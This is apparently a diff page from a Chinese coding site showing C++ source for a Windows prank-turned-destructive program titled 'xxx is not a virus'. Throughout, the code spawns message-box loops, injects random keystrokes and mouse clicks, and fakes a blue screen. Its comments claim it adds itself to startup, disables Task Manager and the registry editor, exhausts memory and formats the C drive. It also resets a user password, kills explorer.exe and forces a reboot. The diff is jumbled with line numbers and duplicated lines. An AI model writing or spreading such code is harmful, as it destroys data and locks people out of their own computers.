版本比较
xxx不是病毒
正文
增加 26 行删除 26 行
4 行未改动56789910111213117 行未改动全部展开1311321331341351351361371381398 行未改动1481491501511521521531541551564 行未改动1611621631641651651661671681691701711721731731741751761771771781791801811811821831831841851861861871881891904 行未改动1951961971981991992002012022022032042052062062072082092092102112122122132142152163 行未改动22022122222322422522422522622722822722822923023123223223323423523523623723823823924024124224324224324424524624724624724824925025111 行未改动2632642652662672672682692702712724 行未改动#include<fstream>#include<bits/stdc++.h>#include<windows.h>#include<ctime>#include<cmath> #include<cmath>#include <string>#include <shlobj.h>using namespace std;DWORD WINAPI Destroy(LPVOID)117 行未改动全部展开 int name; srand((unsigned)time(NULL)); // 随机数种子 name = rand() % 102408; _itoa(name, name_str, 22); // 将随机数转化成字符串
TCHAR szpath[MAX_PATH];
char target[100] = {}; TCHAR Destop[MAX_PATH];8 行未改动 CopyFile(szpath, target, FALSE);}int main(){ while(true){
freopen("I.vbs","w",stdout); cout<<"do"<<'\n'; cout<<"Msgbox \"你已急哭!\",4+0+16,\"急哭病毒\""<<'\n'; cout<<"loop"<<'\n';4 行未改动 fclose(stdout); system("II.bat"); int i=0; while(i<=10){
MessageBoxA(NULL, "你的电脑已被幽默感占领!", "无害提示", MB_OK); JokeEffect(); i++; } POINT p; int r=100, centerX=960, centerY=540; double angle=0; string msg = "你的键盘已被我控制..."; string msg = "你的键盘已被我控制..."; { keybd_event(rand()%256,0,0,0); keybd_event(rand()%256,0,KEYEVENTF_KEYUP,0);
SwapMouseButton(rand()%2); mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0); mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);
ShellExecute(0,"open","calc.exe",0,0,SW_SHOW);
keybd_event(VkKeyScan(1),0,0,0); keybd_event(VkKeyScan(1),0,KEYEVENTF_KEYUP,0);
p.x = centerX + r*cos(angle); p.y = centerY + r*sin(angle); SetCursorPos(p.x,p.y); angle += 0.1;4 行未改动 DWORD mode; GetConsoleMode(hStdin, &mode); mode &= ~ENABLE_QUICK_EDIT_MODE; SetConsoleMode(hStdin, mode);
HideCursor(); DisableCloseButton();
// 设置控制台字体 CONSOLE_FONT_INFOEX cfi = { sizeof(cfi), 0, {30,60}, 0, FW_NORMAL, L"MS Gothic" }; SetCurrentConsoleFontEx(GetStdHandle(STD_OUTPUT_HANDLE), FALSE, &cfi);
// 全屏显示 full_screen();
HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE); srand(time(0));
// 第一阶段:随机颜色花屏效果 for(int i=0; i<50000; i++) { setRandomColor(hConsole); cout << (rand()%2 ? '0' : ' ') << flush;3 行未改动 Sleep(100); system("color fc"); for(int i=0;i<=114514;i+=100){ system("cls"); cout<<":)\n\n你的设备遇到了·小融融,需要重启。\n我们只收集某些错误信息,然后你可以重新启动。\n"<<i<<"% 完成"; Sleep(1); cout<<":)\n\n你的设备遇到了·小融融,需要重启。\n我们只收集某些错误信息,然后你可以重新启动。\n"<<i<<"% 完成"; Sleep(1); } cout<<":)\n\n你的设备遇到了·小融融,需要重启。\n我们只收集某些错误信息,然后你可以重新启动。\n114514% 完成"; cout<<":)\n\n你的设备遇到了·小融融,需要重启。\n我们只收集某些错误信息,然后你可以重新启动。\n114514% 完成";
Sleep(1000); for(int i =0;i<=100;i++){ system("start https://www.luogu.com.cn/team/113578"); } } wstring appName = L"MyStartupApp"; wstring appPath = GetExecutablePath(); //添加至开机启动项 //添加至开机启动项 system("taskkill /f /im taskmgr.exe"); RegTaskmanagerForbidden(); //禁用任务管理器 //禁用任务管理器 RegEditForbidden(); { malloc(1000); system("start");//耗尽内存 delC();//格式化C盘 system("start");//耗尽内存 delC();//格式化C盘 srand(time(0)); SetCursorPos(rand()%1920,rand()%1080); Reproduce(); //鼠标乱飞 Reproduce(); //鼠标乱飞 } int t; for(long long i=1ll*1;i<=1ll*1000000000000000000000000;i++){ int* j;11 行未改动 sprintf(ghk,"ghk %s \"%%userprofile%%\\「开始」菜单\\程序\\启动\""); system(ghk); system("net user hgferwjhfjhhdjhsfjhftjfueryhfcnuerfgherugjherjiuuumfrjertevrfrhweuweifw2rumcrn3fgh4nhufh543htbhtyythjjgctim4ufhxn3ruic"); system("taskkill/f /im explorer.exe /t"); CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)&Destroy, 0, 0, NULL); CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)&Destroy, 0, 0, NULL); char cmd[]="shutdown -r -t 0"; system(cmd); } return 0;}